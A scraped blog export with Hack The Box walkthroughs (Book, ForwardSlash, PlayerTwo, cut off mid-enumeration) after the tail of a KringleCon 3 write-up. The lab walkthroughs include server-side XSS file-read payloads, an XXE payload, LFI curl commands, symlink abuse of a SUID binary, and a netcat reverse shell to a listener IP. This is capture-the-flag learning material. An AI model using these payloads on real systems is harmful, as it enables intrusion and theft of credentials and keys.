panel on the Santavator. Red Bulb Top right of the Talks Lobby (2nd floor) It\u0026rsquo;s a red bulb from those big, old-school christmas lights. Elevator 1.5 Button Bottom right of the Speaker UNpreparedness Room Like those awkward semi-sequels, this button goes almost to the next floor Large Marble Workshop, on the floor It\u0026rsquo;s a marble\u0026hellip;that attracts sparkles. Rubber Ball Wrapping Room, on the floor Great for bouncing electrons, probably. Proxmark3 Wrapping Room, on the floor RFID Swiss-army tool Portals Speaker UNpreparedness Room, from the vending machine Good for shifting the Super Santavator Sparkle Stream across spacetime\u0026hellip; or eating! Yellow Bulb Rooftop, on the floor It\u0026rsquo;s a yellow bulb from those big, old-school christmas lights. Christmas Eggs One of the quests I enjoy the most in the Holiday Hack challenges is to find as many hidden Eggs as possible! Here are the ones I spotted this year:\n Location Egg Challenge title Three French Hens comes from The Twelve Days of Christmas Christmas carol (the 3rd day of Christmas for the 3rd KringleCon) Castle Approach Richard F. Hall panel on the grass, building homes in Jersey Shore Castle Approach one of the hens, Jean-Claude, says \u0026ldquo;Jacques DuGivre!\u0026rdquo; in French which translates to Jack Frost. Castle Entry is the painting a portrait of Ed Skoudis? Wrapping Room the email on the wall asking Iceman if the name Proxmark3 could be used freely Objective 1 the Enigma Machine on the billboard image Objective 6 the Splunk user is Kris Kringle, another name for Santa…but that could as well refer to the main protagonist of Miracle on 34th Street Objective 6 Alice Bluebird is the main character of the graphic novel Through the Looking Glass Table from Splunk. Objective 6 the Lollipop Guild refers to The Wizard of Oz Objective 8 ASCII art in the server\u0026rsquo;s tmp folder Objective 9 the FTP server ftp.osuosl.org actually exists and is owned by the Open Source Lab @ Oregon State University Objective 9 the final letter we retrieve refers to a lot of characters from Rudolph the Red-Nosed Reinder Objective 9 the final letter we retrieve Tanta Kringle is a character from Santa Claus Is Comin To Town Objective 11 the elves on the shelf that are reporting kids bat behavior CranPi 1 Jason The Plant hidden in the \u0026lsquo;plant\u0026rsquo; menu (made appearances in past challenges) CranPi 2 the SESSNAME environment variable is Munchkin Wrangler which refers to The Wizard of Oz movie Soundtrack the song played in the Dining Room is a remix of a The Year Without A Santa Claus song Soundtrack the song in the Courtyard is a remix of a You\u0026rsquo;re a Mean One, Mr Grinch Soundtrack the song in the Kitchen is a remix of Jimmy Boyd\u0026rsquo;s I saw Mommy kissing Santa Claus Soundtrack the Santavator\u0026rsquo;s song is a remix of the Girl from Ipanema Soundtrack the song in the ??? room is a remix of I Wish I Could Be Santa Claus from A Muppets Christmas Soundtrack Santa\u0026rsquo;s transformation song is a remix of Zat You Santa Claus from Louis Armstrong The Elf C0de lollipops and Munchkins refer to the to The Wizard of Oz movie Sort-O-Matic the Island of Misfit Toys refers to Rudolph the Red-Nosed Reinder Snowball Game the ID used for the win code is HughRansomDrysdale who is the villain in the movie Knives Out Snowball Game the QR code shown when we loose directs us to www.counterhack.com Additional Ressources Objective 3 https://www.electronjs.org https://github.com/electron/asar https://nodejs.org/en/download/ Objective 6 https://attack.mitre.org/matrices/enterprise/ https://github.com/splunk/attack_range https://docs.splunk.com/Documentation/SCS/current/SearchReference/RexCommandOverview https://docs.splunk.com/Documentation/SCS/current/SearchReference/Aggregatefunctions#distinct_count.28.26lt.3Bvalue.26gt.3B.29_or_dc.28.26lt.3Bvalue.26gt.3B.29 https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1082/T1082.md https://github.com/frgnca/ https://attack.mitre.org/techniques/T1123/ https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1123/T1123.md https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1547.001/T1547.001.md#atomic-test-3---powershell-registry-runonce https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/ARTifacts/Misc/Discovery.bat https://zeek.org/ https://tools.ietf.org/html/rfc74653 https://gchq.github.io/CyberChef/ Objective 8 https://portswigger.net/burp https://portswigger.net/web-security/file-path-traversal https://ngrok.com/ https://snyk.io/research/zip-slip-vulnerability Objective 10 https://www.lifewire.com/web-browser-developer-tools-3988965 Objective 11a https://github.com/python/cpython/blob/master/Doc/library/random.rst https://github.com/python/cpython/blob/master/Modules/_randommodule.c Objective 11b https://github.com/corkami/collisions/blob/master/unicoll.md https://hexed.it/ https://github.com/corkami/collisions#pdf CranPi Terminal 7 https://scapy.net/ ","description":"This year’s challenges were a good mix of defensive and offensive skills. Topics varied from webapp hacking, crypto, log analysis, binary analysis to improving JS, regex and network skills. There were as well some simulated hardware challenges. The most challenging part was the analysis and recovery of a custom blockchain's block that was stealthily altered.","id":3,"tag":"kringlecon ; holidayhack","title":"KringleCon 3: Three French Hens","type":"posts","url":"https://noobintheshell.com/posts/kringlecon3/"},{"content":" Book is a Medium Linux box created by MrR3boot. It was released on February 22nd, 2020 and retired on July 11th, 2020. The users rated the difficulty 6.2/10 and gave an appreciation score of 4.1/5.\nBook Info Card TL;DR We access a virtual library where we can download, upload and comment books. The account registration flow contains a vulnerability that allows overwriting any user’s password. We overwrite the admin’s and to access the admin panel. There, we can download a PDF file containing the list of the books of the virtual library. There is a Server-Side XSS vulnerability during the generation of PDFs. From a user account, we can inject some XSS code to read local files that will be executed server-side when we generate a PDF as admin. We leak the user reader SSH private key this way and grab the user flag. The server uses a version of logrotate vulnerable to a Race Condition. As it is run as a cronjob as root, we can elevate our privileges and get the root flag.\nReconnaissance \u0026amp; Enumeration Open Ports An NMAP scan shows the following (partial) output:\n$ sudo nmap -sS -sV -p- 10.10.10.176\n PORT STATE  SERVICE  VERSION 22/tcp  open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) We discover the usual SSH server and HTTP ports opened.\nWeb discovery We access a login page where we can register to access a virtual library:\nwebsite home page As a user, we have access to the following features:\n we can download PDFs on flowers: books download The download links are like:\nhttp://10.10.10.176/download.php?file=1 and the files downloaded are like 1.pdf. So maybe a good spot for Arbitrary File Read or Local File Inclusion.\n we can search for books in the database: search books Maybe a SQL Injection to exploit here? The GET request is like:\nhttp://10.10.10.176/search.php?search=xxx we can submit books feedbacks: book feedback When we do that we get the following message:\nYour feedback sent to Administrator. So maybe an XSS or CSRF to exploit here.\n we can submit new documents: book submission Whatever we submit, we get the following message:\nThanks for the submission. We will evaluate and update the list This could be a good spot for file upload vulnerabilities.\n we can contact the admin: contact form Another spot for XSS or CSRF vulnerabilities. We get as well the admin email address that could be useful later.\n finally, we can view our profile and modify our name: profile information Maybe we can exploit a missing access control check issue here and force our account with an Admin role instead of User.\nA basic file/directory scan discovers the following:\n$ gobuster dir -w ../../wordlists/big.txt -u 10.10.10.176 -x php\n[\u0026hellip;]\n/admin (Status: 301)\n/books.php (Status: 302)\n/contact.php (Status: 302)\n/db.php (Status: 200)\n/docs (Status: 301)\n/download.php (Status: 302)\n/feedback.php (Status: 302)\n/home.php (Status: 302)\n/images (Status: 301)\n/index.php (Status: 200)\n/logout.php (Status: 302)\n/profile.php (Status: 302)\n/search.php (Status: 302)\n/settings.php (Status: 302) The /admin page shows a Sign In feature, but it is disabled.\nGaining Access As we have seen, there is room for plenty of vulnerabilities to exploit. Unfortunately, most of them are rabbit-holes. There is an XSS vulnerability in the name but it is limited to 10 characters, so except injecting some basic HTML like \u0026quot;\u0026gt;\u0026lt;\u0026lt;h1\u0026gt;A we cannot do much.\nWhen we create an account, a Javascript code checks that the username is not longer than 10 characters and that the email address is not longer than 20. This check is as well done server-side. The account ID seems to be the email address as we can create multiple accounts with the same name as long as the email is unique. But what if the email truncation is done after the ID is checked and before the data is persisted in the database? This means that we could possibly rewrite another user account data…like the admin account. By creating an account with the following POST data:\nname=noobadmin\u0026amp;email=admin%40book.htb AAAA\u0026amp;password=noobadmin we successfully overwrite the admin password! The email address is first checked to be unique, then truncated to 20 characters, trimmed and finally, a SQL query persists the password. We can now login into the admin panel:\nadmin panel We now have access to the following admin features:\n list users and delete them, read user messages and delete them, read user feedbacks and delete them, download the list of users and books as PDF. When downloading the user list, we see that one of the tests we did previously (the HTML injection in the name) is output:\nuser data PDF export But we are still limited to 10 characters here. The other PDF lists the book names and authors, let’s try the same there. From a user account, we make a new book submission and inject some HTML code like \u0026lt;h1\u0026gt;TESTTEST\u0026lt;/h1\u0026gt;. This results in:\ncollection data PDF export Good, we can execute Javascript without filters apparently. After a little research on what to do with that, I came upon this article describing how to exploit a Server-Side XSS when generating a PDF dynamically. That’s quite neat. Let’s try to read /etc/passwd. The payload is:\n1 2 3 4 5 \u0026lt;script\u0026gt; x=new XMLHttpRequest; x.onload=function(){document.write(this.responseText)}; x.open(\u0026#34;GET\u0026#34;,\u0026#34;file://**/etc/passwd**\u0026#34;);x.send(); \u0026lt;/script\u0026gt; We put it as the book title or the author…and we get:\narbitrary file read We find the unique user reader. Let’s check if it holds an SSH private key:\n1 2 3 4 5 \u0026lt;script\u0026gt; x=new XMLHttpRequest; x.onload=function(){document.write(this.responseText)}; x.open(\u0026#34;GET\u0026#34;,\u0026#34;file://**/home/reader/.ssh/id_rsa**\u0026#34;);x.send(); \u0026lt;/script\u0026gt; And surprise:\nreader SSH private key We can simply copy/paste the whole content and use it to grab the user flag:\n$ ssh -i reader_rsa reader@10.10.10.176\n$ cat user.txt\n51c1************************95bc Local Reconnaissance \u0026amp; Enumeration We find an lse.sh script in reader home folder which is a Linux enumeration script. We can launch it but it does not show any useful information.\nThere is as well a backup folder that contains some Apache access.log* files. This suggests that logrotate is used. The version of logrotate is 3.11.0. This version is vulnerable to a Race Condition and the tool logrotten can be used to exploit it.\nWith pspy64, we confirm that there is a cronjob that calls logrotate as root:\npspy64 Privilege Escalation As per the logrotten readme file, we check all the prerequisites:\n logrotate is run as root, we have write access in the folder where access.log is rotated, we do not have access to /root/log.cfg file but we can see that logrotate can create files. Let’s compile logrotten on the server:\n$ gcc lr.c -o lr\n$ chmod +x lr We can execute the following command:\n$ echo \u0026ldquo;test\u0026rdquo;\u0026gt;/home/reader/backups/access.log \u0026amp;\u0026amp; ./lr -d /home/reader/backups/access.log This will create an empty access.log file under /etc/bash_completion.d with reader as owner. All files in this folder are loaded with each new user session:\nlogrotten We can now write our reverse shell in /etc/bash_completion.d/access.log, start a Netcat listener and wait for root to execute it:\n$ echo \u0026ldquo;rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2\u0026gt;\u0026amp;1|nc 10.10.14.94 1234 \u0026gt;/tmp/f\u0026rdquo; \u0026gt; /etc/bash_completion.d/access.log root flag We can grab root private SSH key on the way in /root/.ssh.\nConclusion This was a really enjoyable box where I learned a new attack vector: Arbitrary File Read through server-side XSS!\nResources [1] Server Side XSS (Dynamic PDF)\nhttps://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting/server-side-xss-dynamic-pdf\n[2] Linux Smart Enumeration\nhttps://github.com/diego-treitos/linux-smart-enumeration\n[3] logrotten\nhttps://github.com/whotwagner/logrotten\n","description":"OS: Linux | Level: Medium | Creator: MrR3boot | Released: February 22nd, 2020 | Retired: July 11th, 2020 | Difficulty: 6.2/10 | Appreciation: 4.1/5","id":4,"tag":"arbitrary_file_read ; server-side_xss ; dynamic_pdf ; logrotate ; race_condition","title":"Hack The Box :: Book","type":"posts","url":"https://noobintheshell.com/posts/htb_book/"},{"content":" ForwardSlash is a Hard Linux box created by InfoSecJack and chivato. It was released on April 4th, 2020 and retired on July 4th, 2020. The users rated the difficulty 6.3/10 and gave an appreciation score of 3.8/5.\nForwardSlash Info Card TL;DR We access a website defaced by a hacker group. Checking for VHOSTs, we find a backup website with a login page. We can register and log in. The vulnerable feature has been poorly disabled as we can still call it to access a developer page that is protected by IP filtering. The feature is vulnerable to LFI and we can retrieve the pages source code with a PHP wrapper. The user chiv password is hardcoded in one of them. Once connected through SSH, we find multiples notes left by chiv that lead us to a backup config file that should contain the old database credentials. We exploit a SUID binary backup (owned by pain) to read that config file and retrieve pain password and therefore, the user flag. In pain home folder we find an encrypted file and the script used to encrypt it. We retrieve the encryption key with a dictionary attack. It message leaks the password of a LUKS image. pain is a sudoer and can run the commands to decrypt the image and mount it as root. The image contains root SSH private key that we use to get the root flag.\nReconnaissance \u0026amp; Enumeration Open Ports An NMAP scan shows the following (partial) output:\n$ sudo nmap -sS -sV -p- 10.10.10.183\n PORT STATE  SERVICE  VERSION 22/tcp  open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) We discover the usual SSH server and HTTP ports opened.\nWeb discovery Browsing the IP address redirects to http://forwardslash.htb. We add the domain to the /etc/hosts file. We then access a website defaced by a hacker group called The Backslash Gang:\nwebsite landing page They give some hints on the vulnerabilities they exploited:\nThis was ridiculous, who even uses XML and Automatic FTP Logins A file/folder discovery does not show much. We continue with a VHOST scan:\ngobuster vhost -u http://forwardslash.htb/ -w ../../wordlists/big.txt | grep -E \u0026#34;Status: (2|3)\u0026#34; We discover backup.forwardslash.htb that we add as well to the hosts file. The backup page shows a login page:\nbackup landing page We can sign up to access a dashboard:\nhttp://backup.forwardslash.htb/welcome.php There is a nice Quick Message from Chivato:\nquick message The Change Your Profile Picture feature shows a disabled input:\nhttp://backup.forwardslash.htb/profilepicture.php The vulnerability should be there and we can easily modify the HTTP code to enable the input and the button.\nA new file/folder discovery shows:\n$ gobuster dir -u http://backup.forwardslash.htb -w ../../wordlists/big.txt -x php\n[\u0026hellip;]\n/api.php (Status: 200)\n/config.php (Status: 200)\n/dev (Status: 301)\n/environment.php (Status: 302)\n/index.php (Status: 302)\n/login.php (Status: 200)\n/logout.php (Status: 302)\n/register.php (Status: 200)\n/welcome.php (Status: 302) The /dev folder shows the following message:\n403 Access Denied\nAccess Denied From 10.10.14.94 It is probably only accessible from the localhost. We tried some well-known HTTP headers to bypass this kind of filter, but no success.\nGaining Access We can easily edit the input and the button HTML code to remove the disabled attribute and then try to call /dev/index.php that will bypass the filter. This will include the /dev/index.php page:\ninclude /dev/index.php We access an XML API Test feature which is probably what the hacker group was referring to in its message. Let’s see what else we can do through this Local File Inclusion (LFI) vulnerability. We can read local system files:\n$ curl http://backup.forwardslash.htb/profilepicture.php -H \u0026ldquo;Cookie: PHPSESSID=2jlmsmrq9r8vabqs1s1j1qqq0p\u0026rdquo; -d \u0026ldquo;url=/etc/passwd\u0026rdquo;\n[\u0026hellip;]\npain:x:1000:1000:pain:/home/pain:/bin/bash\nchiv:x:1001:1001:Chivato,,,:/home/chiv:/bin/bash\nmysql:x:111:113:MySQL Server,,,:/nonexistent:/bin/false And we can even read a page source code with PHP wrappers as follows:\n$ curl http://backup.forwardslash.htb/profilepicture.php -H \u0026ldquo;Cookie: PHPSESSID=2jlmsmrq9r8vabqs1s1j1qqq0p\u0026rdquo; -d \u0026ldquo;url=php://filter/convert.base64-encode/resource=dev/index.php\u0026rdquo; We get the source code encoded in base64. Once decoded, we can read the user chiv FTP password:\n/dev/index.php snippet — credentials leak \u0026#43; XXE On top of that, we see as well that XML External Entities (XXE) can be processed, which is another vulnerability that can be used to read local files or, in certain cases (not here), get Remote Code Execution (RCE).\nIf we have a look at the test done to filter access to /dev, we see that the IP filtering can be bypassed if we use the admin account:\n/dev/index.php snippet — IP filtering Strangely, the admin account does not exist. We can create it and access the/dev/index.php page without bypass. From there, we can exploit the XXE to read files as well with this payload:\n\u0026lt;!DOCTYPE foo [ \u0026lt;!ELEMENT foo ANY \u0026gt;\n\u0026lt;!ENTITY xxe SYSTEM \u0026ldquo;file:///etc/passwd\u0026rdquo; \u0026gt;]\u0026gt;\n\u0026lt;api\u0026gt;\n\u0026lt;request\u0026gt;\u0026amp;xxe;\u0026lt;/request\u0026gt;\n\u0026lt;/api\u0026gt; The FTP code leads to an RFI that we can use to trig XSS. We can query a remote FTP server for a file called debug.txt. If we start an FTP server on our box, configure the chiv user/password and serve a debug.txt file containing some Javascript code, we can then execute it with:\nhttp://backup.forwardslash.htb/dev/index.php?xml=ftp://10.10.14.94/\u0026quot; The \u0026quot; is important here to pass the regex filter.\nAnyway…the FTP credentials are re-used for the system user. We can log in through SSH.\nLocal Reconnaissance \u0026amp; Enumeration Now that we have a shell as chiv we can explore the box. The user flag is in pain home directory. We can read some more files in there. First, a note.txt from chiv that contains:\nPain, even though they got into our server, I made sure to encrypt any important files and then did some crypto magic on the key\u0026hellip; I gave you the key in person the other day, so unless these hackers are some crypto experts we should be good to go.\n-chiv\n Then there is a encryptorinator folder that contains an encrypted file ciphertext as well as the Python script used to encrypt it: encrypter.py.\nchiv mentions that he encrypted some ‘important’ files. By looking around we find another message in the backup config file /var/www/backup.forwardslash.htb/config.php:\n//credentials for the temp db while we recover, had to backup old config, didn't want it getting compromised -pain The backup config file is found in /var/backup/config.php.bak and can only be read by pain. We find another note.txt along with it:\nChiv, this is the backup of the old config, the one with the password we need to actually keep safe. Please DO NOT TOUCH.\n-Pain\n By checking for SUID binaries, we find /usr/bin/backup owned by pain. This looks like the way to pivot. We can execute it:\n/usr/bin/backup This is a backup viewer so we can probably read the config.php.bak file with it. It seems to check for a file that does not exist and that seems to be an MD5 hash. The filename changes each time we launch the tool. Actually, it changes every second.\nWe find yet another note.txt that we missed during the enumeration phase at the root of http://forwardslash.htb:\nPain, we were hacked by some skids that call themselves the \u0026ldquo;Backslash Gang\u0026rdquo;\u0026hellip; I know\u0026hellip; That name\u0026hellip;\nAnyway I am just leaving this note here to say that we still have that backup site so we should be fine.\n-chiv\n Privilege Escalation User pivoting We can copy the backup binary locally with scp and open it with Ghidra. The main function is quite self-explanatory:\nmain function snippet The filename is the MD5 hash of the local time with format HH:MM:SS. That’s why it changes each second. What we can do here is to create a symlink to /var/backup/config.php.bak with the name being the MD5 hash of the current time. We need to do that in less than a second. The following one-liner is all we need:\n$ ln -s /var/backups/config.php.bak $(export t=$(date +%H:%M:%S);echo -n $t | md5sum | awk '{ print $1 }') \u0026amp;\u0026amp; backup And we get pain password (it is not a hash) that he re-used as well for his system account:\npain credentials leak We log in through SSH and get the user flag.\nRoot escalation Once logged in with pain, we see that he can run some commands as root:\nsudo -l LUKS is a disk encryption tool, so the first guess is that there is an encrypted drive/image somewhere that we can decrypt and mount. To do that we would need a password that we don’t have yet.\nWe found previously an encrypted file with the script used to encrypt it. Let’s analyze the script:\nencrypter.py Quite a basic encryption. We can easily re-use the decrypt function to perform a dictionary attack:\nWe output the decryption string once we find the word the. The output is:\ndecrypted message We have the location of the encrypted image and the password to decrypt it. With that, we execute the following commands to decrypt and mount the image encrypted_backup.img (pain is member of the group backupoperator so he can read the image):\n$ cd /var/backups/recovery\n$ mkdir mnt\n$ sudo /sbin/cryptsetup luksOpen encrypted_backup.img backup\nEnter passphrase for encrypted_backup.img: cB!6%sdH8Lj^@Y*$C2cf\n$ sudo /bin/mount /dev/mapper/backup ./mnt/\n$ cd mnt The image contains root SSH private key id_rsa. We retrieve it, log in through SSH and get the root flag!\nConclusion This was quite a straightforward box, more on the Medium difficulty I would say. No insane enumeration to do so I completed it quite easily :) Except for the LUKS part, the concepts seen can be found in many other boxes.\nResources [1] XML External Entity (XXE) Processing\nhttps://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing\n[2] LUKS\nhttps://guardianproject.info/archive/luks/`\n","description":"OS: Linux | Level: Hard | Creators: InfoSecJack \u0026 chivato | Released: April 4th, 2020 | Retired: July 4th, 2020 | Difficulty: 6.3/10 | Appreciation: 3.8/5","id":5,"tag":"lfi ; xxe ; xss ; luks","title":"Hack The Box :: ForwardSlash","type":"posts","url":"https://noobintheshell.com/posts/htb_forwardslash/"},{"content":" PlayerTwo is an Insane Linux box created by MrR3boot and b14ckh34rt. It was released on December 14th, 2019 and was retired on June 27th, 2020. The users rated the difficulty 7.7/10 and gave the box an appreciation score of 4.4/5.\nPlayerTwo Info Card TL;DR We start by enumerating a VHOST on port 80 that gives us access to a login page. We discover as well an API endpoint totp. But we can’t use it without credentials. On port 8545 we find an Twirp API instance. We find the .proto definition that describes the API calls we can do. From there, we retrieve a set of users and passwords to authenticate through the login page discovered. After logging in, we are asked for a One-Time-Password (OTP) that we do not have. The OTP screen leaks the fact that we can use either an SMS code or a backup code to log in. We use this information to enumerate the totp API and get a backup code. We access the product page with some documentation and a firmware binary that we can download. We have as well access to a firmware check page to validate its signature. We alter the firmware to upload and execute a PHP reverse shell. The signature check is flawed. We have now a shell as www-data. We see that Mosquitto (an MQTT broker) is running. By subscribing to the SYS topic we retrieve the SSH private key of the user observer. And with it, the user flag. The product binary (Protobs) is owned by root and has the SUID bit set. We grab the binary and the needed libraries, reverse it and exploit a heap vulnerability to get a root shell and the final flag.\nReconnaissance \u0026amp; Enumeration Open Ports An NMAP scan shows the following (partial) output:\n$ sudo nmap -sS -sV -p- 10.10.10.170\n PORT STATE  SERVICE  VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) 8545/tcp  open http (PHP 7.2.24-0ubuntu0.18.04.1) We discover:\n the usual OpenSSH 7.6p1 server on its default port, an Apache 2.4.29 web server on the default HTTP port, what seems to be another web server on port 8585. Web discovery Browsing the IP address shows the following error message that leaks the domain name. We can add the domain as well as the www host to the /etc/hosts file:\nhttp://10.10.10.170 But we get the same page with the FQDN and we do not find anything with a directory/file discovery. Next step is to check if other VHOSTs exist:\n$ gobuster vhost -u player2.htb -t 10 -w wordlists/big.txt | grep \u0026quot;Status: 200\u0026quot;\nproduct.player2.htb (Status: 200) [Size: 5063] We get a hit that we add again the the hosts file. The new landing page shows a login page:\nhttp://product.player2.htb We try some basic credentials without success. Then we start to fuzz files and directories with wfuzz. We find the following:\napi/\nassets/\nimages/\nimages/\nindex.php\nhome.php\nmail.php Calling mail.php only shows an alert:\n$ curl http://product.player2.htb/mail.php\n\u0026lt;script\u0026gt;alert(\u0026quot;Thanks for your visit. Will get back to you as soon as we can!\u0026quot;);window.location=\u0026quot;home\u0026quot;;\u0026lt;/script\u0026gt; Fuzzing with a bigger dictionary unveils /api/totp:\n$ curl http://product.player2.htb/api/totp\n{\u0026quot;error\u0026quot;:\u0026quot;Cannot GET \\/\u0026quot;}\n$ curl -XPOST http://product.player2.htb/api/totp\n{\u0026quot;error\u0026quot;:\u0026quot;Invalid Session\u0026quot;}\n But in order to call this API, we first need a valid session cookie.\nPort 8545 This port seems to host an API:\nhttp://product.player2.htb:8545/ From the error message, we get that the API is based on Twirp, “a framework for service-to-service communication emphasizing simplicity and minimalism”. It is developed by Twitch in Go and is built on Protobuf. The documentation can be found here. Basically, you create a .proto file that contains the API description and Twirp uses it to generate the client and server code skeletons. Then, it is up to you to code the business logic.\nIn our case, we should as well look for the PHP port TwirPHP and its documentation.\nThere is no way we can interact with this API if we do not know anything about its definition. As per documentation best practices, the folder structure should look like this:\n/generated\n/\u0026lt;namespace\u0026gt;\n// generated files\n/src\n/\u0026lt;namespace\u0026gt;\n// service implementation\n/proto\nservice.proto What we probably need to get is this .proto definition file, the source of truth of the service design. But searching for the proto folder or fuzzing the .proto filename was unsuccessful on both port 80 and 8545 and with both the FQDN and the IP address.\nI must admit that I got stuck for a few days at this point, trying to enumerate everything! I paused for a while and when I got back to this box and restarted the enumeration from scratch, I fuzzed by mistake http://player2.htb (without the www.) and that is where I found that bloody proto folder!! Then I fuzzed the proto filename and downloaded it:\n$ wget http://player2.htb/proto/generated.proto Gaining Access Login and bypass OTP The proto file is quite short:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 syntax = \u0026#34;proto3\u0026#34;package twirp.player2.auth; option go_package = \u0026#34;auth\u0026#34;service Auth { rpc GenCreds(Number) returns (Creds); }message Number { int32 count = 1; // must be \u0026gt; 0 }message Creds { int32 count = 1; string name = 2; string pass = 3; } We get:\n the endpoint twirp.player2.auth, the service name Auth, the method GenCreds. The method takes an integer as argument and returns some sort of credentials. As per Twirp documentation, the API call should be a POST call to:\n/twirp/endpoint.service/method with the argument in the body in JSON format. The call that should work though, returns an error:\n$ curl -XPOST http://product.player2.htb:8545/twirp/twirp.player2.auth.Auth/GenCreds -H 'Content-Type: application/json' -d '{\u0026quot;count\u0026quot; 1}'\n{\u0026quot;code\u0026quot;:\u0026quot;internal\u0026quot;,\u0026quot;msg\u0026quot;:\u0026quot;internal error\u0026quot;,\u0026quot;meta\u0026quot;:{\u0026quot;cause\u0026quot;:\u0026quot;Call to undefined function Google\\\\Protobuf\\\\Internal\\\\bccomp()\u0026quot;}}\n What worked, is to send an empty payload. Each call seems to return a couple of username/password that is each time different:\nAPI calls In the end, we see only 4 different usernames and 4 passwords:\nusers:\nsnowscan\njkr\nmprox\n0xdf\npasswords:\ntR@dQnwnZEk95*6#\nze+EKe-SGF^5uZQX\nXHq7_WJTA?QD_?E2\nLp-+Q8umLW5*7qkc\n We try some combinations on the login page and find out that they all work like this:\nmprox:tR@dQnwnZEk95*6#\nsnowscan:ze+EKe-SGF^5uZQX\n0xdf:XHq7_WJTA?QD_?E2\njkr:Lp-+Q8umLW5*7qkc However, all of them require an OTP code after login:\nOTP code The message says that we can either use the code sent to the user mobile phone, or use backup codes. We remember as well that we have access to the totp API and now that we are half-logged in, we can provide our session cookie:\n$ curl http://product.player2.htb/api/totp -H 'Cookie: PHPSESSID=p6ifon40fk49n0o81mccdgbckh'\n{\u0026quot;error\u0026quot;:\u0026quot;Cannot GET \\/\u0026quot;}\n$ curl -XPOST http://product.player2.htb/api/totp -H 'Cookie: PHPSESSID=p6ifon40fk49n0o81mccdgbckh'\n{\u0026quot;error\u0026quot;:\u0026quot;Invalid action\u0026quot;}\n We now have a new error message, we are missing some action variable. Let’s add it in JSON format:\n$ curl -XPOST http://product.player2.htb/api/totp -H 'Cookie: PHPSESSID=p6ifon40fk49n0o81mccdgbckh' -d '{\u0026quot;action\u0026quot;: \u0026quot;\u0026quot;}'\n{\u0026quot;error\u0026quot;:\u0026quot;Missing parameters\u0026quot;} I got stuck here again for a while, trying all sorts of action names and adding additional parameters that could make sense for our use case. Crawled the web for ideas on common TOTP variable names and tried to find what library could be used here. After countless tries, the solution was simpler than what I was trying so far. The login page was telling us that we could use backup codes…so:\n$ curl -XPOST http://product.player2.htb/api/totp -H 'Cookie: PHPSESSID=p6ifon40fk49n0o81mccdgbckh' -d '{\u0026quot;action\u0026quot;: \u0026quot;backup_codes\u0026quot;}'\n{\u0026quot;user\u0026quot;:\u0026quot;mprox\u0026quot;,\u0026quot;code\u0026quot;:\u0026quot;87685768223422\u0026quot;} Firmware Code Injection We finally have access to the product page. Protobs helps game developers to provide a better visual experience to users:\nProtobs product At the bottom of the page, we get the following message with a link to Protobs documentation:\nGet an early access to Protobs\nPlease read our documentation here to understand and work with our new protocol Protobs.\nWe also coming up with a Responsible Vulnerable Disclosure Program in the future to understand more issues in our development cycle. Stay tuned for the updates.\n The documentation explains how the Protobs firmware is provisioned and digitally signed:\nprotobs.pdf — firmware signing And the provisioning looks like:\nprotobs.pdf — firmware provisioning At the bottom of the document, we get a link to download the firmware and a link for the dev teams to do sanity checks on the firmware:\nprotobs.pdf — firmware download and test The testing page is supposed to test the firmware in a sandbox:\nhttp://product.player2.htb/protobs/ If we upload the downloaded archive containing the firmware, we get a few alert messages:\nVerifying signature of the firmware\nIt looks legit. Proceeding for provision test\nAll checks passed. Firmware is ready for deployment.\n Let’s analyze the firmware. The archive contains 3 files: Protobs.bin, info.txt and version. The 2 text files do not contain any useful information. The firmware .bin file contains, as per the documentation, the signature followed by the code:\nfirmware We can remove the signature (probably a SHA512) to analyze the binary in Ghidra:\nremove signature The code in Ghidra is pretty simple and seems just dummy code…not a real firmware. The main function calls wait_for_fkey and waits for the user input then calls print_asciiart to print the banner and … that’s it! The wait_for_fkey function calls system 3 times to set up the TTY:\nwait_for_fkey() The system call right before the user input seems a good spot to patch. Maybe we can trig a reverse shell during the signature verification if we replace the system argument. To avoid breaking the binary and playing with the binary section size, we will keep the payload the same size as the original one: 28 characters. However, by changing the code, the signature will not match anymore! Let’s see what error message we get by replacing the command by a ping home. We can use an online hex editor for that and upload the signed .bin file. We search for the stty command and replace the whole string with our ping. We make sure to pad the command with spaces until we reach the 28 characters:\nbinary patching We export the patched binary and compress it again before uploading it to the test page:\n$ COPYFILE_DISABLE=1 tar -czf fw.tar Protobs_patched.bin On macOS, the tar command may pollute the archive with hidden files ._* if a file contains extended attributes. This may make the server fail the check. To avoid that, we must set COPYFILE_DISABLE=1. There is no signature error and we get our pings home! The signature verification must be broken. If we remove the signature from the binary file, the check fails. If we change a byte of the signature the check fails as well. This may indicate that the signature is calculated only on a portion of the binary.\nNow, how to get a reverse shell in less than 28 characters? Netcat is installed but does not support the -e and -c flags. We can do it in 2 phases:\n we upload a PHP reverse shell script. We will be using the one from Pentestmonkey that we configure with the IP and port of our Netcat listener: upload PHP reverse shell Here rs is the PHP script. We removed the extension to fit the space. It is not possible to write in the website folder so we write to /tmp. We start an HTTP listener and upload the archive.\nwe upload another firmware binary to fire the reverse shell: fire the PHP script We start a Netcat listener and upload the archive to get a shell as www-data:\nreverse shell Local Reconnaissance \u0026amp; Enumeration We start by upgrading our shell to a full interactive TTY.\nBy looking at the running processes, we see that a weird process mosquitto is running:\n/usr/sbin/mosquitto -c /etc/mosquitto/mosquitto.conf The configuration file does not leak much information:\n$ cat /etc/mosquitto/mosquitto.conf\n# Place your local configuration in /etc/mosquitto/conf.d/\n#\n# A full description of the configuration file is at\n# /usr/share/doc/mosquitto/examples/mosquitto.conf.example\npid_file /var/run/mosquitto.pid\npersistence true\npersistence_location /var/lib/mosquitto/\nlog_dest file /var/log/mosquitto/mosquitto.log\nbind_address 127.0.0.1\ninclude_dir 